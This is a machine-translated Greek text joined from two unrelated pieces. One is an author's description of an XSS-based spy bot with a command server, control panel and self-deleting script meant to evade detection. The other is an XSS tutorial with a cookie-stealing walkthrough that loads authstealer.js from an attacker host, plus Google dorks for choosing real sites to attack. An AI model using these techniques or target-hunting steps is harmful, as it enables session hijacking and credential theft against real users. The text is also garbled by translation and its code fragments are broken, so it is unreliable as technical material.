Για την εξυπηρέτησή σας, μπορείτε να διαμορφώσετε τις πιο συχνά χρησιμοποιούμενες οδηγίες σε ολόκληρες λειτουργίες στο JS, οι οποίες μπορούν στη συνέχεια να εισαχθούν στα bots του αρχείου προέλευσης ( xsb.js, η δομή του αρχείου θα συζητηθεί παρακάτω) και θα χρησιμοποιηθεί. Εναλλακτικά, χρησιμοποιήστε εκείνες τις συναρτήσεις που είναι ενσωματωμένες στο bot, αν και υπάρχει μόνο η βάση και δεν υπάρχει τίποτα νέο, αλλά για παράδειγμα, μπορείτε να χρησιμοποιήσετε τη λειτουργία αποστολής του κωδικού σελίδας ανά πάσα στιγμή και όχι όταν φορτώνεται ξανά το πλαίσιο. Μπορείτε να γράψετε μια συνάρτηση που θα ανοίξει τους συνδέσμους που της έχουν μεταφερθεί σε νέα πλαίσια στο παρασκήνιο για να δείτε τα περιεχόμενα πολλών σελίδων εκ μέρους του χρήστη (και να χειριστείτε αυτό το περιεχόμενο με τα εικονικά του χέρια).
Κατάργηση του δικού σας κωδικού.
Λοιπόν, το τελευταίο χαρακτηριστικό εφαρμόζεται πολύ απλά (μπορεί να απενεργοποιηθεί ρυθμίζοντας την επιθυμητή μεταβλητή στο αρχείο, σχολιάζονται). Το σενάριο, αφού δημιουργήσει και κρεμάσει όλους τους χειριστές συμβάντων, δημιουργώντας όλες τις μεταβλητές και τις λειτουργίες, διαγράφεται
Μετά από όλα, όλα τα δεδομένα έχουν ήδη φορτωθεί στη μνήμη RAM μέσω του προγράμματος περιήγησης, οπότε δεν υπάρχει τίποτα να ανησυχείτε, αλλά αυτό είναι θεωρητικά, ίσως αργότερα θα υπάρξουν κάποια προβλήματα που δεν έλαβα υπόψη, οπότε έδωσα μια μεταβλητή, η οποία μπορεί να απενεργοποιηθεί από ανάγκη.
Αφού αφαιρέσετε όλα τα σενάρια, θα είναι εξαιρετικά δύσκολο να παρατηρήσετε το XSS, καθώς η παρουσία ενός πλαισίου δεν μιλάει για αυτό πολύ έμμεσα και ο ίδιος ο κώδικας μπορεί να βρεθεί μόνο στα αρχεία καταγραφής του ιστορικού κίνησης δικτύου του προγράμματος περιήγησης (τα οποία δεν διατηρούνται από προεπιλογή σε πολλά προγράμματα περιήγησης εάν ο πίνακας προγραμματιστών δεν είναι ανοιχτός) ...
Μέρος διακομιστή.
Για έναν ευκολότερο και πιο βολικό τρόπο εκκίνησης του bot, αποφασίστηκε να γράψω τον δικό μου μικρό διακομιστή ιστού σε πρίζες, ο οποίος θα εξυπηρετούσε το bot, θα παρέχει όλες τις λειτουργίες για τη λήψη και τοποθέτηση των απεσταλμένων δεδομένων, τη μετάδοση μηνυμάτων μεταξύ του εισβολέα και του bot και τη δημιουργία διεπαφής ιστού για την εντολή του εισβολέα ...
Ο διακομιστής γράφτηκε σε python, προσπάθησα να χρησιμοποιήσω μόνο τυπικές βιβλιοθήκες, ώστε να μην χρειάζεται να εγκαταστήσω τίποτα πριν ξεκινήσω. Επίσης, ο ίδιος ο διακομιστής επεξεργάζεται ορισμένα δεδομένα στις δέσμες ενεργειών, δηλαδή, στο σενάριο JS του bot, δεν χρειάζεται να ορίσετε τη διεύθυνση του διακομιστή εντολών, ο ίδιος ο διακομιστής ιστού θα βάλει εκεί τον απαιτούμενο κατά την εκκίνηση. Υπάρχει μόνο μία παράμετρος στη διαμόρφωση του διακομιστή - η θύρα στην οποία θα ξεκινήσει (από προεπιλογή 8000).
Μετά την εκκίνηση, ο διακομιστής θα εμφανίσει όλα τα απαραίτητα δεδομένα - έναν σύνδεσμο προς το σενάριο JS, το οποίο θα πρέπει να ολισθαίνει, έναν σύνδεσμο προς τον πίνακα εντολών ή μάλλον συνδέσμους προς εξωτερικές και τοπικές διευθύνσεις, για ευκολία.
Σχέδιο εργασίας με ένα bot.
Ξεκινάμε τον διακομιστή σε κάποια θύρα χωρίς διεκδίκηση και μπορείτε να στείλετε έναν σύνδεσμο με ένα σενάριο bot, τότε όλοι όσοι ακολουθούν θα σας στείλουν δεδομένα που ο διακομιστής θα αποθηκεύσει οποιαδήποτε στιγμή της ημέρας. Στη συνέχεια, μπορείτε απλώς να τα δείτε, εάν υπάρχει ανάγκη να αφήσετε την ομάδα στο bot και να συνεχίσετε την επιχείρησή τους.
Δομή αρχείων.
Ο φάκελος περιέχει τα ακόλουθα αρχεία:
- xsb.py- το κύριο αρχείο που εφαρμόζει το τμήμα του διακομιστή, για να το τρέξει το bot και, στη συνέχεια, απλώς χρησιμοποιήστε τον σύνδεσμο που προσφέρει.
- xsb.js- ο κωδικός JS του bot αποθηκεύεται εδώ, ο σύνδεσμος προς τον οποίο εκδίδεται από τον διακομιστή, στην αρχή του δηλώνονται οι μεταβλητές διαμόρφωσης που μπορούν να αλλάξουν κατά την κρίση σας (ορισμένες, δηλαδή ο κεντρικός υπολογιστής και η θύρα, θα ρυθμιστούν από τον ίδιο τον διακομιστή, δεν χρειάζεται να ανησυχείτε).
- panel.html- από εδώ ο διακομιστής παίρνει τον κωδικό για τον πίνακα ελέγχου bot, μπορείτε να τροποποιήσετε τη διεπαφή κατά την κρίση σας.
- password.txt- ο κωδικός πρόσβασης από τον πίνακα ελέγχου αποθηκεύεται εδώ, ο οποίος μπορεί να αλλάξει.
- αποθηκευμένα δεδομένα- αυτός είναι ένας κατάλογος στον οποίο θα δημιουργηθούν φάκελοι με τομείς ιστότοπου, στον οποίο θα αποθηκευτούν όλες οι πληροφορίες.
Για άλλη μια φορά, το σημειώνω στο αρχείο xsb.jsΜπορείτε να προσθέσετε τις δικές σας λειτουργίες, οι οποίες στη συνέχεια καλούνται μέσω του πίνακα, χωρίς να γράφετε τεράστια τμήματα κώδικα.
Μια μικρή ανάλυση των αποτελεσμάτων.
Αφού έγραψα τον δικό μου εφευρετικό τρόπο διατήρησης ενός χρήστη σε μια σελίδα με XSS μέσω πλαισίων (καλά, όπως εφευρέθηκε - το ανακάλυψα προσωπικά για τον εαυτό μου, είναι πολύ πιθανό κάποιος άλλος να "εφεύρε" αυτήν την τεχνική για τον εαυτό του ή είναι γενικά ήδη κάπου στο κοινό) έλαμψε, γιατί τώρα είναι αρκετά δύσκολο να αναπτυχθεί κάτι πραγματικά νέο, και κατά κανόνα, μετά από λίγο καιρό ανακαλύπτετε ότι «ήταν ήδη στο The Simpsons») Άρχισα να σκάβω στο BeEF με περισσότερες λεπτομέρειες και να διαβάζω το wiki του. Τότε ανακάλυψα ότι μια άλλη τεχνική εφαρμόστηκε εκεί για να επιτύχει τον ίδιο στόχο - επέκταση του χρόνου του χρήστη στη σελίδα με το εκτελέσιμο XSS (το οποίο κλήθηκε εκεί man-in-the-browser). Και εφαρμόστηκε ως εξής: όλοι οι σύνδεσμοι στην αρχική σελίδα άλλαξαν με τέτοιο τρόπο ώστε όταν κάνατε κλικ σε οποιοδήποτε από αυτά, το σενάριο δεν φορτώθηκε ξανά τη σελίδα, αλλά μέσω του Ajax έστειλε ένα αίτημα στον διακομιστή και εισήγαγε τα δεδομένα που ελήφθησαν στην απόκριση, δηλαδή μπορούμε να πούμε την τεχνητή ενημέρωσή της, η οποία ήταν επίσης σχεδόν διακριτή από μια κανονική ανανέωση.
Επομένως, δεν ήμουν ο πρώτος που εφάρμοσα αυτήν την ιδέα (ακόμα κι αν οι μέθοδοι ήταν διαφορετικές). Αλλά και οι δύο αυτές μέθοδοι έχουν τα μειονεκτήματά τους:
Μεταφόρτωση μεθόδου μέσω
Η μέθοδος ajax λειτουργεί πάντα αν το πρόγραμμα περιήγησης το υποστηρίζει (τώρα το υποστηρίζουν όλα τα μεγάλα προγράμματα περιήγησης), αλλά με το νέο πρότυπο Web 2.0, όλο και περισσότερες μεταβάσεις ενεργοποιούνται από προσαρμοσμένα συμβάντα οποιουδήποτε στοιχείου μέσω JS. Μόλις πήγα στο Google AdWords και αποφάσισα να δω πώς αλληλεπιδρούν HTML και JS εκεί, γιατί όλες οι αράχνες μου ήταν εξαιρετικά κακές στη δημιουργία ενός χάρτη αυτής της υπηρεσίας. Και αναστάτωσα ήσυχα όλο το βράδυ, πόσο δεν ήταν συνηθισμένο εκεί, όταν τα στοιχεία κειμένου ήταν κουμπιά και διακόπτες και ρυθμιστικά και αυτό που απλά δεν απεικονίζουν, και ο καθένας είχε περίπου 30 διαφορετικούς χειριστές συμβάντων που κρέμονται πάνω του.
Δηλαδή, σε έναν φανταστικό ιστότοπο, το κουμπί μετάβασης (υποκειμενικά ένας σύνδεσμος) θα εφαρμοστεί μέσω μιας κανονικής ετικέτας , το οποίο είναι φορτωμένο με στυλ και σε ποιον κρέμονται οι χειριστές συμβάντων, ένα από τα οποία, για παράδειγμα, Το onclick ανακατευθύνει τον χρήστη σε άλλη σελίδα. Υπάρχουν επίσης τυπικά στοιχεία όπως [i] ή εγώ και ούτω καθεξής, οι οποίοι είναι επίσης σύνδεσμοι προς άλλες σελίδες, αλλά στις οποίες το BeEF δεν θα ανταποκριθεί και η σελίδα απλά δεν θα ενημερωθεί όταν κάνετε κλικ στα περισσότερα από τα κουμπιά και άλλα στοιχεία. Αυτό μπορεί να ζητήσει από τον χρήστη να ανανεώσει τη σελίδα ή να ξαναεπισκεφτεί "από την άλλη πλευρά", το οποίο σκοτώνει την ενεργή συνεδρία XSS.
Για συντομία ονομασίας των αρχείων, το ονόμασα Xss Spy Bot.
ΥΣΤΕΡΟΓΡΑΦΟ.
Το όλο θέμα χρειάστηκε λίγο περισσότερο από ένα μήνα για να γράψει, λόγω της περιοδικής έλλειψης χρόνου και των συνεχών περισπασμών. Επίσης λόγω αυτού, η ποιότητα του κώδικα και η πιθανότητα αντιμετώπισης κάποιου σφάλματος είναι αρκετά υψηλή. Σας ζητώ λοιπόν να μην ορκιστείτε πάρα πολύ, αλλά να διαγραφείτε από το τι συμβαίνει με κάποιον, ώστε να μπορείτε να το διορθώσετε.
Εγώ ο ίδιος δοκίμασα το bot σε μόνο 4 μηχανήματα, όλα με Debian.
Στα μακροπρόθεσμα σχέδια για αυτό το bot, εάν υπάρχει κίνητρο:
- να εφαρμόσει την απόδοση του κώδικα των σελίδων που αποστέλλει το bot στον διακομιστή έτσι ώστε να ανοίγει αμέσως στο πρόγραμμα περιήγησης και να μπορεί να "αισθανθεί", να δοκιμαστεί εν κινήσει.
- θα προσπαθήσουν να πιάσουν τα καλούδια από την τεχνολογία WebRTC, δηλαδή να βρουν τρόπους για να πάρουν νέες πληροφορίες που δεν μπορούν να αντληθούν με καθαρό JS.
- Εφαρμογή επικοινωνίας μεταξύ του bot και του διακομιστή χρησιμοποιώντας το πρωτόκολλο WebSocket μέσω HTTP.
- προσθέστε κάποια ευκολία στον πίνακα ελέγχου.
- 1. Τι είναι το XSS
- 2. XSS προβολές
- 3. Χαρακτηριστικά XSS που βασίζονται σε DOM
- 4. Ελεγκτής XSS
- 5 παραδείγματα εκμετάλλευσης XSS
- 6. Αναζήτηση ιστότοπων ευάλωτων στο XSS
- 7. Προγράμματα αναζήτησης και σάρωσης τρωτών σημείων XSS
Τι είναι το XSS
Το Cross-Site Scripting (XSS) είναι μια ευπάθεια που περιλαμβάνει την έγχυση κώδικα πελάτη (JavaScript) σε μια ιστοσελίδα που βλέπουν άλλοι χρήστες.
Η ευπάθεια προκύπτει από ανεπαρκές φιλτράρισμα δεδομένων που υποβάλλει ο χρήστης για εισαγωγή σε μια ιστοσελίδα. Είναι πολύ πιο εύκολο να γίνει κατανοητό με ένα συγκεκριμένο παράδειγμα. Σκεφτείτε οποιοδήποτε βιβλίο επισκεπτών - αυτά είναι προγράμματα που έχουν σχεδιαστεί για να δέχονται δεδομένα από τον χρήστη και στη συνέχεια να τα εμφανίζουν. Ας φανταστούμε ότι το βιβλίο επισκεπτών δεν ελέγχει ούτε φιλτράρει τα δεδομένα εισόδου με κανέναν τρόπο, αλλά απλά τα εμφανίζει.
Μπορείτε να σχεδιάσετε το απλούστερο σενάριό σας (δεν υπάρχει τίποτα πιο εύκολο από το να γράφετε κακά σενάρια στην PHP - πολλοί άνθρωποι το κάνουν αυτό). Αλλά υπάρχουν ήδη πολλές έτοιμες επιλογές. Για παράδειγμα, προτείνω να ξεκινήσετε με το Dojo και το OWASP Mutillidae II. Υπάρχει ένα παρόμοιο παράδειγμα. Στο αυτόνομο Dojo, μεταβείτε στο πρόγραμμα περιήγησής σας στη διεύθυνση: http: //localhost/mutillidae/index.php? Page \u003d add-to-your-blog.php
Εάν ένας από τους χρήστες εισήγαγε:
Γειά σου! Πώς είσαι.
Στη συνέχεια, η ιστοσελίδα θα εμφανίσει:
Γειά σου! Πώς είσαι.
Και αν ο χρήστης εισέλθει έτσι:
Γειά σου! Πώς είσαι.
Τότε θα εμφανίζεται ως εξής:
Τα προγράμματα περιήγησης αποθηκεύουν πολλά cookie σε μεγάλο αριθμό ιστότοπων. Κάθε ιστότοπος μπορεί να λαμβάνει μόνο cookie που αποθηκεύονται από μόνα τους. Για παράδειγμα, το example.com έχει αποθηκεύσει ορισμένα cookie στο πρόγραμμα περιήγησής σας. Εάν επισκεφτείτε έναν ιστότοπο other.com, αυτός ο ιστότοπος (σενάρια πελάτη και διακομιστή) δεν μπορεί να αποκτήσει πρόσβαση στα cookie που αποθηκεύονται από το example.com.
Εάν το example.com είναι ευάλωτο στο XSS, αυτό σημαίνει ότι μπορούμε με τον έναν ή τον άλλο τρόπο να εισάγουμε κώδικα JavaScript σε αυτόν και αυτός ο κώδικας θα εκτελεστεί για λογαριασμό του example.com! Εκείνοι. Αυτός ο κωδικός, για παράδειγμα, θα αποκτήσει πρόσβαση στα cookie του ιστότοπου example.com.
Νομίζω ότι όλοι θυμούνται ότι το JavaScript εκτελείται στα προγράμματα περιήγησης του χρήστη, δηλ. παρουσία του XSS, ο ενεχόμενος κακόβουλος κώδικας αποκτά πρόσβαση στα δεδομένα του χρήστη που άνοιξε τη σελίδα του ιστότοπου.
Ο εγχυμένος κώδικας μπορεί να κάνει ό, τι μπορεί να κάνει το JavaScript, δηλαδή:
- έχει πρόσβαση στα cookie του ιστότοπου που επισκεφτήκατε
- μπορεί να κάνει οποιεσδήποτε αλλαγές στην εμφάνιση της σελίδας
- έχει πρόσβαση στο πρόχειρο
- μπορεί να εισάγει προγράμματα JavaScript όπως καταγραφείς κλειδιών (αναχαιτιστές των πατημένων πλήκτρων)
- συνδεθείτε στο BeEF
Απλούστερο παράδειγμα cookie:
Πράγματι, συναγερμός χρησιμοποιείται μόνο για ανίχνευση XSS. Το πραγματικό κακόβουλο φορτίο εκτελεί κρυφές ενέργειες. Επικοινωνεί κρυφά με έναν απομακρυσμένο διακομιστή του εισβολέα και μεταφέρει τα κλεμμένα δεδομένα σε αυτόν.
XSS προβολές
Το πιο σημαντικό πράγμα που πρέπει να κατανοήσετε σχετικά με τους τύπους XSS είναι ότι είναι:
- Αποθηκευμένο (Ανθεκτικό)
- Αντανακλάται (Αδρανές)
Ένα παράδειγμα σταθερών:
- Ένα ειδικά σχεδιασμένο μήνυμα βιβλίου επισκεπτών (σχόλιο, μήνυμα φόρουμ, προφίλ) που εισάγεται από έναν εισβολέα και αποθηκεύεται στον διακομιστή, λαμβάνεται από τον διακομιστή κάθε φορά που οι χρήστες ζητούν να εμφανιστεί αυτή η σελίδα.
- Ένας εισβολέας απέκτησε πρόσβαση σε δεδομένα διακομιστή, για παράδειγμα, μέσω έγχυσης SQL, και έδωσε έναν κακόβουλο κώδικα JavaScript (με keyloggers ή με BeEF) στα δεδομένα που εμφανίζονται στον χρήστη.
Ένα παράδειγμα πτητικών:
- Υπάρχει μια αναζήτηση στον ιστότοπο, η οποία, μαζί με τα αποτελέσματα αναζήτησης, δείχνει κάτι όπως "Αναζητήσατε: [αναζήτηση συμβολοσειράς]", ενώ τα δεδομένα δεν φιλτράρονται σωστά. Δεδομένου ότι μια τέτοια σελίδα εμφανίζεται μόνο σε όσους έχουν σύνδεσμο προς αυτήν, η επίθεση δεν θα λειτουργήσει έως ότου ο εισβολέας στείλει το σύνδεσμο σε άλλους χρήστες του ιστότοπου. Αντί να στείλετε έναν σύνδεσμο στο θύμα, μπορείτε να χρησιμοποιήσετε την τοποθέτηση ενός κακόβουλου σεναρίου σε έναν ουδέτερο ιστότοπο στον οποίο επισκέπτεται το θύμα.
Διακρίνουν επίσης (μερικά ως ένα είδος πτητικής ευπάθειας XSS, μερικοί λένε ότι αυτό το είδος μπορεί να είναι ένα είδος επίμονης XSS):
- Μοντέλα DOM
Χαρακτηριστικά DSS που βασίζονται σε DOM
Με απλά λόγια, μπορούμε να δούμε τον κακόβουλο κώδικα του "κανονικού" μη μόνιμου XSS όταν ανοίγουμε τον κώδικα HTML. Για παράδειγμα, σχηματίζεται ένας σύνδεσμος ως εξής:
Http://example.com/search.php?q\u003d "/\u003e
Και όταν ανοίγουμε τον πηγαίο κώδικα HTML, βλέπουμε κάτι τέτοιο:
< div class = "m__search" > < form method = "get" action = "/search.php" > < input type = "text" class = "ui-input query" name = "q" value = "" /> < script >ειδοποίηση (1) script >" /> < button type = "submit" class = "ui-button" >Να βρω button > form >
Και το DOM XSS αλλάζει τη δομή DOM, η οποία σχηματίζεται στο πρόγραμμα περιήγησης εν πτήσει, και μπορούμε να δούμε τον κακόβουλο κώδικα μόνο όταν βλέπουμε τη δομή DOM που έχει σχηματιστεί. Αυτό δεν αλλάζει τον HTML. Ας πάρουμε αυτόν τον κώδικα ως παράδειγμα:
< html > < head > < title >ιστότοπος ::: DOM XSS title > < meta charset = "UTF-8" > < meta name = "viewport" content = "width=device-width, initial-scale=1.0" > head > < body > < div id = "default" > Παρουσιάστηκε σφάλμα ... div > < script > συνάρτηση OnLoad () (var foundFrag \u003d get_fragment (); return foundFrag;) function get_fragment () (var r4c \u003d "(. *?)"; var results \u003d location.hash.match (". * input \u003d token (" + r4c + ");") εάν (αποτελέσματα) (document.getElementById ("default"). innerHTML \u003d ""; return (unescape (αποτελέσματα));) άλλο (return null;)) display_session \u003d OnLoad (); document.write ("Το αναγνωριστικό περιόδου σύνδεσης ήταν:" + display_session + "< br >< br >") script > body > html >
Στη συνέχεια, στο πρόγραμμα περιήγησης θα δούμε:
Πηγαίος κώδικας της σελίδας:
Ας σχηματίσουμε τη διεύθυνση ως εξής:
Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
Η σελίδα μοιάζει τώρα ως εξής:
Ας ρίξουμε όμως μια ματιά στην πηγή HTML:
Τίποτα δεν έχει αλλάξει εκεί. Αυτό είπα, πρέπει να εξετάσουμε τη δομή DOM του εγγράφου για να αποκαλύψουμε τον κακόβουλο κώδικα:
Εδώ είναι ένα λειτουργικό πρωτότυπο του XSS, για μια πραγματική επίθεση χρειαζόμαστε ένα πιο περίπλοκο ωφέλιμο φορτίο, το οποίο είναι αδύνατο λόγω του γεγονότος ότι η εφαρμογή σταματά να διαβάζει αμέσως μετά το ερωτηματικό και κάτι σαν προειδοποίηση (1); προειδοποίηση (2) δεν είναι πλέον δυνατό. Ωστόσο, χάρη σε απελευθέρωση () στα δεδομένα που επιστρέφονται, μπορούμε να χρησιμοποιήσουμε ένα ωφέλιμο φορτίο ως εξής:
Http: //localhost/tests/XSS/dom_xss.html#input\u003dtokenAlex;
Πού αντικαταστήσαμε το σύμβολο ; στο αντίστοιχο κωδικοποιημένο URI!
Τώρα μπορούμε να γράψουμε ένα κακόβουλο ωφέλιμο φορτίο JavaScript και να συνθέσουμε έναν σύνδεσμο για αποστολή στο θύμα, όπως γίνεται για τυπικό μη μόνιμο σενάριο μεταξύ ιστότοπων.
Ελεγκτής XSS
Στο Google Chrome (καθώς και στην Opera, η οποία χρησιμοποιεί τώρα τη μηχανή Google Chrome), ήμουν για την ακόλουθη έκπληξη:
dom_xss.html: 30 Ο ελεγκτής XSS αρνήθηκε να εκτελέσει ένα σενάριο στο «http: //localhost/tests/XSS/dom_xss.html#input\u003dtoken ‹script› ειδοποίηση (1); "Επειδή ο πηγαίος κωδικός του βρέθηκε στο αίτημα Ο ελεγκτής ενεργοποιήθηκε καθώς ο διακομιστής δεν έστειλε ούτε μια κεφαλίδα «X-XSS-Protection» ούτε «Content-Security-Policy».
Εκείνοι. υπάρχει τώρα ένας ελεγκτής XSS στο πρόγραμμα περιήγησης που θα προσπαθήσει να αποτρέψει το XSS. Ο Firefox δεν έχει αυτήν τη λειτουργία ακόμα, αλλά υποθέτω ότι είναι θέμα χρόνου. Εάν η εφαρμογή στα προγράμματα περιήγησης είναι επιτυχής, τότε μπορούμε να μιλήσουμε για μια σημαντική δυσκολία στη χρήση XSS.
Είναι χρήσιμο να θυμόμαστε ότι τα σύγχρονα προγράμματα περιήγησης λαμβάνουν μέτρα για να περιορίσουν την εκμετάλλευση ζητημάτων όπως το πτητικό XSS και το XSS που βασίζεται στο DOM. Αυτό πρέπει επίσης να θυμόμαστε κατά τη δοκιμή ιστότοπων χρησιμοποιώντας ένα πρόγραμμα περιήγησης - μπορεί κάλλιστα να αποδειχθεί ότι η εφαρμογή ιστού είναι ευάλωτη, αλλά δεν εμφανίζεται το αναδυόμενο μήνυμα επιβεβαίωσης μόνο επειδή το πρόγραμμα περιήγησης το αποκλείει.
Παραδείγματα εκμετάλλευσης XSS
Οι επιτιθέμενοι που σκοπεύουν να εκμεταλλευτούν ευπάθειες σεναριογράφησης μεταξύ ιστότοπων πρέπει να προσεγγίσουν κάθε τάξη ευπάθειας διαφορετικά. Τα διανύσματα επίθεσης για κάθε τάξη περιγράφονται εδώ.
Με τις ευπάθειες XSS, οι επιθέσεις μπορούν να χρησιμοποιήσουν το BeEF, το οποίο επεκτείνει την επίθεση από τον ιστότοπο στο τοπικό περιβάλλον χρήστη.
Ένα παράδειγμα μιας πτητικής επίθεσης XSS
1. Η Αλίκη επισκέπτεται συχνά έναν συγκεκριμένο ιστότοπο που φιλοξενεί ο Μπομπ. Ο ιστότοπος του Bob επιτρέπει στην Alice να συνδεθεί με ένα όνομα χρήστη / κωδικό πρόσβασης και να αποθηκεύσει ευαίσθητα δεδομένα, όπως στοιχεία πληρωμής. Όταν ένας χρήστης συνδέεται, το πρόγραμμα περιήγησης αποθηκεύει cookie εξουσιοδότησης, τα οποία μοιάζουν με χαρακτήρες χωρίς νόημα, δηλαδή Και οι δύο υπολογιστές (πελάτης και διακομιστής) θυμούνται ότι είχε συνδεθεί.
2. Η Malorie σημειώνει ότι ο ιστότοπος του Bob περιέχει μια ευμετάβλητη ευπάθεια XSS:
2.1 Όταν επισκέπτεται τη σελίδα αναζήτησης, εισάγει τη συμβολοσειρά αναζήτησης και κάνει κλικ στο κουμπί υποβολής, εάν δεν βρεθούν αποτελέσματα, η σελίδα εμφανίζει τη συμβολοσειρά αναζήτησης που έχει εισαχθεί, ακολουθούμενη από τις λέξεις "δεν βρέθηκε" και η διεύθυνση URL μοιάζει http://bobssite.org?q\u003d το ερώτημα αναζήτησής της
2.2 Με έναν κανονικό όρο αναζήτησης όπως « σκυλάκια"Η σελίδα εμφανίζεται απλώς" σκυλάκια δεν βρέθηκε "και url http://bobssite.org?q\u003d σκυλάκια, η οποία είναι φυσιολογική συμπεριφορά.
2.3 Ωστόσο, όταν ένα ανώμαλο ερώτημα αναζήτησης αρέσει :
2.3.1 Εμφανίζεται ένα προειδοποιητικό μήνυμα (που λέει "xss").
2.3.2 Εμφανίσεις σελίδας δεν βρέθηκε μαζί με ένα μήνυμα σφάλματος με το κείμενο «xss».
2.3.3 χρησιμοποιήσιμο url http://bobssite.org?q\u003d
3. Το Mallory δημιουργεί μια διεύθυνση URL για την εκμετάλλευση της ευπάθειας:
3.1 Κάνει τη διεύθυνση URL http://bobssite.org?q\u003dpuppies ... Μπορεί να επιλέξει να μετατρέψει χαρακτήρες ASCII σε δεκαεξαδική μορφή όπως http://bobssite.org?q\u003dpuppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E για να αποτραπεί η άμεση αποκρυπτογράφηση των κακόβουλων διευθύνσεων URL.
3.2 Στέλνει ένα e-mail σε κάποιο ανυποψίαστο μέλος του ιστότοπου του Μπομπ λέγοντας, "Ελέγξτε τα ωραία σκυλιά."
4. Η Αλίκη λαμβάνει μια επιστολή. Αγαπά τα σκυλιά και κάνει κλικ στον σύνδεσμο. Πηγαίνει στον ιστότοπο του Bob για αναζήτηση, δεν βρίσκει τίποτα, εμφανίζει "δεν βρέθηκαν σκύλοι" και στη μέση του ξεκινάει μια ετικέτα με σενάριο (είναι αόρατο στην οθόνη), φορτώνει και εκτελεί το πρόγραμμα authorstealer.js του Mallory (ενεργοποίηση επίθεσης XSS). Η Αλίκη το ξεχνά.
5. Το πρόγραμμα authstealer.js εκτελείται στο πρόγραμμα περιήγησης της Alice σαν να προήλθε από τον ιστότοπο του Bob. Παίρνει ένα αντίγραφο των cookies εξουσιοδότησης της Alice και τα στέλνει στον διακομιστή της Malorie, όπου τα ανακτά η Malorie.
7. Τώρα που η Malorie είναι μέσα, πηγαίνει στο τμήμα πληρωμών του ιστότοπου, αναζητά και κλέβει ένα αντίγραφο του αριθμού της πιστωτικής κάρτας της Alice. Στη συνέχεια πηγαίνει και αλλάζει τον κωδικό πρόσβασης, δηλαδή Τώρα η Άλις δεν μπορεί καν να μπει πλέον.
8. Αποφασίζει να κάνει το επόμενο βήμα και στέλνει τον σύνδεσμο που κατασκευάστηκε με αυτόν τον τρόπο στον ίδιο τον Μπομπ, και έτσι λαμβάνει τα διοικητικά προνόμια του ιστότοπου του Μπομπ.
Μόνιμη επίθεση XSS
- Η Malorie έχει λογαριασμό στον ιστότοπο του Bob.
- Η Malorie παρατηρεί ότι ο ιστότοπος του Bob περιέχει μια επίμονη ευπάθεια XSS. Εάν μεταβείτε σε μια νέα ενότητα, δημοσιεύστε ένα σχόλιο και, στη συνέχεια, εμφανίζει ό, τι έχει πληκτρολογηθεί σε αυτό. Αλλά αν το κείμενο του σχολίου περιέχει ετικέτες HTML, αυτές οι ετικέτες θα εμφανίζονται ως έχουν και εκτελούνται τυχόν ετικέτες σεναρίου.
- Η Malorie διαβάζει το άρθρο στην ενότητα Ειδήσεις και γράφει ένα σχόλιο στην ενότητα Σχόλια. Εισάγει το κείμενο στο σχόλιο:
- Σε αυτήν την ιστορία, μου άρεσαν πολύ τα σκυλιά. Είναι τόσο ωραία!
- Όταν η Alice (ή οποιοσδήποτε άλλος) φορτώνει τη σελίδα με αυτό το σχόλιο, ενεργοποιείται η ετικέτα σεναρίου του Malory και κλέβει τα cookie εξουσιοδότησης της Alice, την αποστέλλει στον μυστικό διακομιστή της Malorie για συλλογή.
- Η Malorie μπορεί τώρα να παρακολουθεί τη σύνοδο της Alice και να μιμηθεί την Alice.
Βρείτε ιστότοπους ευάλωτους στο XSS
XSS δρόμοι
Το πρώτο βήμα είναι να επιλέξετε τους ιστότοπους στους οποίους θα εκτελέσουμε επιθέσεις XSS. Μπορείτε να αναζητήσετε ιστότοπους χρησιμοποιώντας το Google Dorks. Ακολουθούν ορισμένα από αυτά τα dorks, τα οποία μπορείτε να αντιγράψετε και να επικολλήσετε στην Αναζήτηση Google:
- inurl: search.php? q \u003d
- inurl: .php? q \u003d
- inurl: search.php
- inurl: .php? search \u003d
Θα ανοίξει μια λίστα ιστότοπων μπροστά μας. Πρέπει να ανοίξετε τον ιστότοπο και να βρείτε πεδία εισαγωγής σε αυτόν, όπως μια φόρμα σχολίων, μια φόρμα εισαγωγής, αναζήτηση ιστότοπου κ.λπ.
Θα ήθελα να επισημάνω αμέσως ότι είναι σχεδόν άχρηστο να αναζητάτε ευπάθειες σε δημοφιλείς αυτόματα ενημερωμένες εφαρμογές ιστού. Ένα κλασικό παράδειγμα μιας τέτοιας εφαρμογής είναι το WordPress. Στην πραγματικότητα, υπάρχουν ευπάθειες στο WordPress, και ειδικά στις προσθήκες του. Επιπλέον, υπάρχουν πολλοί ιστότοποι που δεν ενημερώνουν ούτε τη μηχανή WordPress (λόγω του γεγονότος ότι ο webmaster έκανε κάποιες αλλαγές στον πηγαίο κώδικα) ή πρόσθετα και θέματα (συνήθως πειρατικές προσθήκες και θέματα). Αλλά αν διαβάζετε αυτήν την ενότητα και μάθετε κάτι νέο από αυτό, τότε το WordPress δεν είναι ακόμα για εσάς ... Σίγουρα θα επανέλθουμε σε αυτό αργότερα.
Οι καλύτεροι στόχοι είναι μια ποικιλία προσαρμοσμένων μηχανών και σεναρίων.
Μπορείτε να επιλέξετε ως ένθετο ωφέλιμο φορτίο
Δώστε προσοχή σε ποιες ετικέτες HTML εμπίπτει στον ενσωματωμένο κωδικό σας. Εδώ είναι ένα παράδειγμα ενός τυπικού πεδίου εισαγωγής
< input type = "text" class = "ui-input query" name = "q" value = "μαξιλαροθήκη" />< script >ειδοποίηση (1) script >< input value = "" />
Το ωφέλιμο φορτίο μας θα πάει εκεί που είναι τώρα η λέξη "μαξιλαροθήκη". Εκείνοι. μετατρέπεται σε τιμή ετικέτας εισαγωγή... Μπορούμε να το αποφύγουμε κλείνοντας το διπλό απόσπασμα και μετά την ίδια την ετικέτα «/>
"/>
Προγράμματα αναζήτησης και σάρωσης τρωτών σημείων XSS
Πιθανώς όλοι οι σαρωτές εφαρμογών ιστού διαθέτουν ενσωματωμένο σαρωτή ευπάθειας XSS. Αυτό το θέμα δεν είναι ολοκληρωμένο, είναι καλύτερα να εξοικειωθείτε με κάθε τέτοιο σαρωτή ξεχωριστά.
Υπάρχουν επίσης εξειδικευμένα εργαλεία σάρωσης για ευπάθειες XSS. Μεταξύ αυτών, μπορεί κανείς να επισημάνει:
